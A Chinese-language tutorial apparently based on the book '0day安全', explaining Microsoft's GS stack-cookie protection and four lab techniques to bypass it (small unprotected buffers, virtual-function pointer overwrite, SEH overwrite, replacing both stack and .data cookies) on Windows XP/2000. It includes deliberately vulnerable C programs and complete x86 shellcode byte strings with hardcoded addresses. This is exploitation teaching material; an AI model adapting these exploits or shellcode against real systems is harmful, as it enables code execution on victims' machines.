GS是针对缓冲区溢出的保护机制
GS保护原理
针对缓冲区溢出覆盖函数返回地址这个特征,微软在编译程序中使用了一个编译选项:GS(VS2003以后默认启用),GS编译选项为每个函数调用增加一些额外的操作,用于检测栈中的溢出
函数调用时,向栈帧中压入一个随机值--Security Cookie
Security Cookie位于EBP之前,系统还将在.data内存区域里存放一个副本:
在函数返回的之前,会执行一个函数去进行验证Security Check,验证过程中会比较原先存放的Security Cookie和.data中的副本的值,如果不吻合说明栈被破坏,发生了溢出,检测到溢出则进入异常处理流程,函数不会正常返回(不会执行ret)
为了增强随机性,会用Cookie和EBP进行异或,生成新的Cookie,然后在返回的时候进行再次异或还原
具体过程以前探究过,详情见:探究security_cookie在程序中的作用 - 我可是会飞的啊 (kn0sky.com)
因为额外操作带来了额外性能开销,所以在有些情况下不会应用GS:
- 函数不包含缓冲区
- 函数被定义为具有变量参数列表
- 函数使用无保护的关键字标记
- 函数在第一个语句中包含内嵌汇编代码
- 缓冲区不是8字节类型,且大小不大于4字节
有例外就会有机会突破
利用未被保护的内存突破GS保护
当函数中不包含4字节以上的缓冲区,即便GS处于开启状态,函数也是不受GS保护的
实验环境:Windows XP SP3 + VS2008 + Release编译(关闭优化,开启GS)
实验代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
//#pragma strict_gs_check(on)
int vultest(char* str)
{
char arry[4];
strcpy(arry, str);
return 1;
}
int main()
{
char* str = (char*)"123456789012345678901234567890";
int a = vultest(str);
return 0;
}
缓冲区大小不足时,如果没有强制开启GS,则GS不会被开启,则会发生栈溢出,程序也能执行到ret语句那里:
当强制开启GS之后,程序会在Security Check Cookie函数中进入异常处理流程
据说这种突破是最没用的
实测,在Windows10 + VS2022 环境下,哪怕只有4字节缓冲区,也会出现GS保护
利用虚函数突破GS保护
实验环境:同上
实验代码01:
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void bar()
{
}
};
int main()
{
GSVirtual test;
test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x00");
return 0;
}
这里为了实验虚函数,特地整了个虚函数,主要是为了实验修改虚函数指针,所以功能无所谓
程序逻辑是:声明一个类的对象,调用gsv方法,该方法存在经典的栈溢出的问题,方法中调用了虚函数
这里shellcode为合法的大小,用来观察栈与溢出后位置的关系,首先看虚表虚函数在哪里:
构造函数为对象申请空间,对象前4个字节是虚表指针,虚表保存自己的虚函数地址
接下来进入gsv方法,在字符串拷贝结束后,会调用自己的虚函数:
这里的逻辑是获取对象地址,到对象内存里去找虚函数地址,然后调用这个地址
也就是,会从0x0013fe98这个地址读取4个字节是0x0013ff78,然后从中(虚表)读取4字节数据作为函数地址进行调用
而我们的缓冲区距离这个位置还有间隔28字节,所以shellcode需要再增加28个字节0x90
0x13ff78位置上是对象指针,0x13ff74是shellcode的地址,这两个地址之间的区别也就是最后一个字节是否是0x00,这里shellcode以字符串的形式填充到0x13ff74的位置,然后字符串结尾的0x00会刚好填充到0x13ff78上,刚好构造好了覆盖虚表的数值
shellcode如下,实验代码2:
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void bar()
{
}
};
int main()
{
GSVirtual test;
test.gsv(
"\xf6\x2a\x99\x7C"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
);
return 0;
}
接下来看栈esp位置
在调用虚函数的时候,esp+4的位置刚好是局部变量缓冲区的指针,要跳转到这里去,可以通过一些指令的帮忙进行跳转(pop pop ret),这里shellcode里开头4字节是0x7c992af6,指令是:
所以在这里执行虚函数会先跳转到0x7c992af6,然后再跳转回栈中,进而执行shellcode,执行结果:
利用虚函数突破保护,本质上是替换栈中的对象指针为自己定的地址,然后在虚函数对于对象内存首地址的偏移处构造shellcode跳转地址,通过跳转地址去跳转到shellcode进行执行
利用异常处理突破GS保护
GS机制没有保护SEH,可以攻击SEH,然后触发一个异常,就可以通过异常处理执行shellcode了
实验环境:Windows 2k sp4 + VS2005 + release版本 + 禁用优化选项
为了不受SafeSEH机制影响,本次实验需要在Windows 2000上进行
实验代码:
#include <string.h>
char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x00";
void test(char * input)
{
char buf[200];
strcpy(buf,input);
strcat(buf,input);
}
void main()
{
test(shellcode);
}
这里调用test函数,test函数里有经典的栈溢出漏洞,栈溢出之后可以淹没input变量的地址,导致strcat函数触发异常,从而进入异常处理(在Security Check Cookie之前),通过控制溢出的大小,可以控制SEH溢出处理函数指针,从而进入shellcode去”处理异常“
这里首先通过填充合法的一大堆0x90来观察shellcode覆盖SEH处理函数还需要溢出多少字节:
需要填充 0xB4-0x60 = 0x54 字节然后再加上4字节的shellcode地址:0x0012FEA0,即可控制SEH
构造shellcode:
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;
直接双击执行:(用调试器执行异常会被调试器给接走,所以不用调试器执行)
同时替换栈和.data中的Cookie突破GS保护
与GS正面交锋,有两条路:
- 猜测Cookie的值
- 同时替换栈和.data中的Cookie
前者在之前的探究里就已经知道了,随机性过强,猜出4字节基本不可能,所以使用后者的方法进行
实验环境:Windows XP SP3 + VS2008 + Release版本 + 禁用优化选项
实验代码:
#include <string.h>
#include <stdlib.h>
char shellcode[]=
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
char dest[200];
if(i<0x9995)
{
char * buf=str+i;
*buf=*src;
*(buf+1)=*(src+1);
*(buf+2)=*(src+2);
*(buf+3)=*(src+3);
strcpy(dest,src);
}
}
void main()
{
char * str=(char *)malloc(0x10000);
test(str,0xFFFF2FB8,shellcode);
}
main函数申请0x10000字节空间,拿这个空间的首地址去调用test函数
test函数对str+i开始的4字节内存进行赋值,然后执行strcpy,是个经典的栈溢出
这里main申请了一片内存,地址是0x00410048:
然后进入test函数后,获取security cookie,这个cookie的地址是0x00403000,也就是.data段的首地址:
cookie位于.data段第一个4字节,接下来使用构造的负数来通过字符串长度判断(i<0x9995)
这个负数是怎么来的呢?因为知道接下来会进行str+i的操作,这里希望这个结果是0x403000,所以已知str和结果,那么i的大小也就可以推出来i=0x403000-0x410048=0xFFFF2FB8(因为堆空间是在.data下面的,所以这个结果一定是负数)
绕过长度检测之后,进行赋值操作,给0x403000前4个字节赋值了0x90909090,也就是把cookie修改成了0x90909090
最后的strcpy栈溢出淹没到栈里保存的cookie,往栈里的位置保存0x90909090和ebp异或的结果0x90826ff4,当函数退出的时候会自动跟ebp再次异或进行检测
比对一致,函数正常返回,返回到栈溢出淹没的返回地址上,程序执行shellcode:
总结
绕过GS保护的关键在于栈溢出能让shellcode因为某种原因在安全检查之前得到执行,例如SEH,虚函数这种的
参考资料
《0day安全》第二版
《漏洞分析与利用》网课